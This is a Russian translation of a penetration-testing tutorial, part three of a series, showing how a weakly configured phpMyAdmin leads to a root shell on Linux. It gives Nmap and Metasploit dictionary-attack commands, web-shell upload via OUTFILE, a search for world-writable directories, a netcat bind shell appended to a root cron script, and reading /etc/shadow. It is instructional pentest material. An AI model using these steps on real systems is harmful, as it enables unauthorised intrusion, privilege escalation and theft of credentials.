21.11.2020 | Методы проникновения в линуксовые системы (часть 3): phpMyAdmin |
Автор: Scott Sutherland В этой статье мы поговорим об эксплуатации небезопасных конфигураций phpMyAdmin и файлов, доступных для записи всем и каждому, с целью получения шелла с правами суперпользователя. Этот кейс в основном появляется в конкурсах навроде CTF (Capture the flag; Захват флага), но рассматриваемый подход для проникновения через phpMyAdmin может быть адаптирован ко многим другим веб-приложениям. Статья будет полезна как для начинающих в сфере тестирования на проникновение, так и для тех, кто желает освежить знания в области атак на phpMyAdmin. Это третья из пяти частей, предусмотренных в этой серии, где рассматриваются методы проникновения и расширения локальных привилегий в линуксовых системах, которые используются во время реальных пентестов. Что такое phpMyAdmin phpMyAdmin представляет собой веб-приложение, используемое для управления локальными базами данных MySQL, которое обычно можно найти в средах всех масштабов и иногда доступное всем пользователям интернета. phpMyAdmin зачастую идет как часть проектов с открытым исходным кодом, в результате чего некоторые системные администраторы даже не подозревают о присутствии этого приложения в системе. Разработчики также используют phpMyAdmin в тестовых средах, что в итоге приводит к неконтролируемым инсталляциям в корпоративных сетях на постоянной основе. Поскольку мы встречаем phpMyAdmin довольно часто, я считаю, что нужно рассмотреть это приложения в контексте безопасности и проникновения в систему. Начнем с поиска систем, где установлен phpMyAdmin. Поиск серверов с phpMyAdmin phpMyAdmin обычно находится на сервере Apache, но не только. Иногда это веб-приложение устанавливается в корневую директорию, но наиболее часто в папку /phpMyAdmin и, например, может быть доступно по адресу http://server/phpMyAdmin . С учетом вышесказанного мы будем искать веб-сервера с phpMyAdmin, используя уже полюбившийся нам сканер портов Nmap : nmap -sT -sV -p80,443 192.168.1.0/24 -oA phpMyAdmin_scan
Далее в сформированном файле phpMyAdmin_scan.gnmap ищем сервера с открытыми портами при помощи команды ниже: grep -i "open" phpMyAdmin_scan.gnmap
Рисунок 1: Перечень серверов с открытыми портами В результаты мы нашли несколько серверов с Apache. Теперь нужно определить, где установлен phpMyAdmin: в корневой директории или в папке /phpMyAdmin. Доступ к средам с NATЧтобы не усложнять жизнь, мы предполагаем, что все тесты проводятся из системы, находящейся в среде с NAT . То есть мы будем подключаться к SSH-серверу, находящимся за фаерволом, но среда, которую мы атакуем, находится в стороне от фаервола. Поскольку подключение к среде с NAT происходит через SSH, мы будем переадресовывать порт 80 через SSH-туннель для доступа к веб-серверу с IP-адресом 192.168.1.171. В большинстве случаев нам не понадобится переадресация портов, но я думаю, рассмотреть этот сценарий было бы полезно. Подробный рассказ о SSH-туннелях и SOCKS -прокси выходит за рамки статьи, однако ниже показана схема, иллюстрирующая наш случай.
Рисунок 2: Схема туннелинга к веб-серверу Ниже показано два примера SSH-туннелинга к целевому веб-серверу. Для Линукса (клиент SSH): ssh pentest@ssh.servers.com -L 2222:192.168.1.171:80
Для Windows (клиент PuTTTY):
Рисунок 3: Настройка туннелинга в приложении PuTTY После настройки переадресации портов мы можем подключаться к phpMyAdmin, вводя адрес http://127.0.0.1:2222/phpmyadmin в нашем локальном браузере.
Рисунок 4: Подключение к PHPMyAdmin Атака с использованием словаряКак только мы нашли сервер с phpMyAdmin, следующий шаг – проверить, используется ли учетная запись по умолчанию (пользователь root без пароля). В нашем случае предполагается, что стандартный аккаунт не используется, однако еще не все потеряно. Мы можем реализовать простейший сценарий с использованием словаря и проверить наиболее часто встречающиеся комбинации имени пользователя и пароля. В реальной жизни желательно всегда проверять, не приведет ли атака по словарю к блокировке учетной записи. Есть множество прекрасных словарей, однако мы воспользуемся списком, указанным ниже: Список пользователей: echo root >> /tmp/users.txt echo admin >> /tmp/users.txt echo user >> /tmp/users.txt
Список паролей: echo password >> /tmp/passwords.txt echo Password >> /tmp/passwords.txt
Вы также можете воспользоваться утилитой навроде Burp Intruder с целью реализации атак по словарю против phpMyAdmin и других веб-приложений (на эту тему есть хорошая статья ). В качестве альтернативы мы будем пользоваться Metasploit, поскольку у этой утилиты есть встроенный модуль для реализации атак подобного рода. Ниже показан базовый перечень команд. Примечание: Metasploit по умолчанию идет в составе дистрибутива Kali Linux . msfconsole use auxiliary/scanner/http/phpMyAdmin_login set rhosts 192.168.1.171 set USER_AS_PASS true set targeturi /phpMyAdmin/index.php set user_file /tmp/users.txt set pass_file /tmp/passwords.txt run
Ниже показан наглядный пример успешной реализации атаки по словарю.
Рисунок 5: Пример успешной реализации атаки с использованием словаря Если после реализации атаки обнаружена рабочая учетная запись, можно логиниться и переходить к следующему шагу. Ниже показана видеодемонстрация атаки по словарю при помощи Metasploit. Загрузка веб-шеллов на сервер через PHPMyAdminПосле нахождения валидной учетной записи следующий шаг – поиск функциональности, позволяющей выполнять команды операционной системы на сервере. MySQL поддерживает пользовательские функции, которые можно использовать для решения нашей задачи, однако мы будем загружать веб-шелл в корневую директорию при помощи функции OUTFILE. Примечание: в большинстве многоуровневых сред запись веб-шелла в корневую директорию через SQL-инъекцию работать не будет, поскольку база данных и веб-сервер находятся в разных местах. В этом отношении phpMyAdmin является исключением. Другие примеры: LAMP, WAMP и XAMPP. Кроме того, следует отметить, что в некоторых средах у учетной записи служб mysql может не быть прав на запись в корневую директорию или в папку phpMyAdmin. Кликните на кнопку «SQL», чтобы появилось окно для ввода запросов. Затем выполните запрос, приведенный на рисунке ниже, для загрузки на сервер веб-шелла, написанного на PHP, который можно использовать для выполнения команд в операционной системе от имени учетной записи службы Apache. Помните, что phpMyAdmin не всегда может быть установлен в директории /var/www/phpMyAdmin, если вы работаете в реальных средах. Актуальный код можно загрузить по ссылке, однако ниже продемонстрирован пример в контексте работы с phpMyAdmin.
Рисунок 6: Выполнение кода для загрузки веб-шелла Теперь загруженный веб-шелл доступен по адресу http://127.0.0.1:2222/phpMyAdmin/cmd.php , и мы можем попробовать выполнить команды в операционной системе и расширить привилегии. Ниже показаны команды, с которых можно начать: whoami ls –al ls /
Рисунок 7: Первоначальные команды, выполняемые сразу же после загрузки шелла Ниже показано видео, иллюстрирующее весь процесс. http://blog.netspi.com/wp-content/uploads/2020/03/2phpmyadmin-getshell.mp4
Примечание: После выполнения всех необходимых операций не забудьте удалить веб-шелл. Кроме того, не лишним будет добавить аутентификацию, чтобы не открывать дыры в клиентских средах. Поиск файлов, доступных для записиПришло время поискать файлы и папки, доступные для записи всем пользователям. Присутствие в системе подобных файлов и папок – не обязательно плохо, однако если есть возможность прямого или косвенного запуска от имени суперпользователя, тогда появляются шансы на повышение привилегий. Ниже показана команда, запускаемая через загруженный шелл, для поиска файлов и папок подобного рода: find / -maxdepth 3 -type d -perm -777 2>/dev/null
Рисунок 8: Результаты поиска файлов и папок, доступных для записи всем пользователям Теперь мы можем начать исследование найденных файлов на предмет эксплуатации, а также поискать потенциально уязвимые цели.
Рисунок 9: Содержимое одной из папок, доступной для записи Эксплуатация скрипта rootcron.shВ нашем случае одна из директорий, доступная для записи, - /scripts/. В этой папке, по-видимому, содержится скрипт, для запуска заданий cron от имени суперпользователя. Подобная возможность встречается нечасто, но бывает. Ту же технологию можно применить к скриптам, используемым вместе с командой sudo. Есть много всего, что можно записать в скрипт для выполнения заданий, однако мы добавим строчку для запуска слушателя netcat от имени root, после чего подключимся к этому слушателю с нашей машины. ls /scripts cat /scripts/rootcron.sh echo "nc -l -p12345 -e /usr/bin/sh& 2>/dev/null" >> /scripts/rootcron.sh cat /scripts/rootcron.sh
Рисунок 10: Содержимое скрипта для выполнения заданий после добавления новой строки Нужно подождать, пока задача запустится, после чего вы сможете подключиться к слушателю на порту 12345 из вашей системы. nc 192.168.1.171 12345 whoami pwd cat /etc/shadow w
Рисунок 11: Команды, выполняемые после подключения к слушателю Понимаю, что этот сценарий во многом учебный, но иногда реальность намного превосходит ожидания. Хотя подобные ситуации встречаются нечасто, мы наблюдали очень похожие случаи во время реальных пентестов. Для сценариев, требующих реверсивного шелла, вместо bind-шелла, на сайте pentestmonkey.net приведено несколько полезных опций . Ниже показано видео, демонстрирующее процесс установки слушателя netcat. http://blog.netspi.com/wp-content/uploads/2020/03/3phpmyadmin-wwcron-escalate.mp4
ЗаключениеВ этой статье продемонстрирован один из способов получение шелла с правами суперпользователя в удаленной линуксовой системе при помощи уязвимой конфигурации phpMyAdmin и скрипта, выполняемого от имени root, который доступен для записи. Хотя есть множество способов решить одну и ту же задачу, я считаю, что мораль этой истории такова: админ-панели веб-приложений могут быть весьма доступными целями и часто становятся отправной точкой для выполнения команд операционной системы. Кроме того, обнаружение и поддержка доступных веб-приложений является важной частью в сфере повышения безопасности, которой зачастую пренебрегают. Надеюсь, эта статья оказалась полезной как начинающим пентестерам, так и специалистам, которые пытаются оценить возможные последствия от небезопасных конфигураций веб-приложений навроде phpMyAdmin. Всего наилучшего. |
Проверить безопасность сайта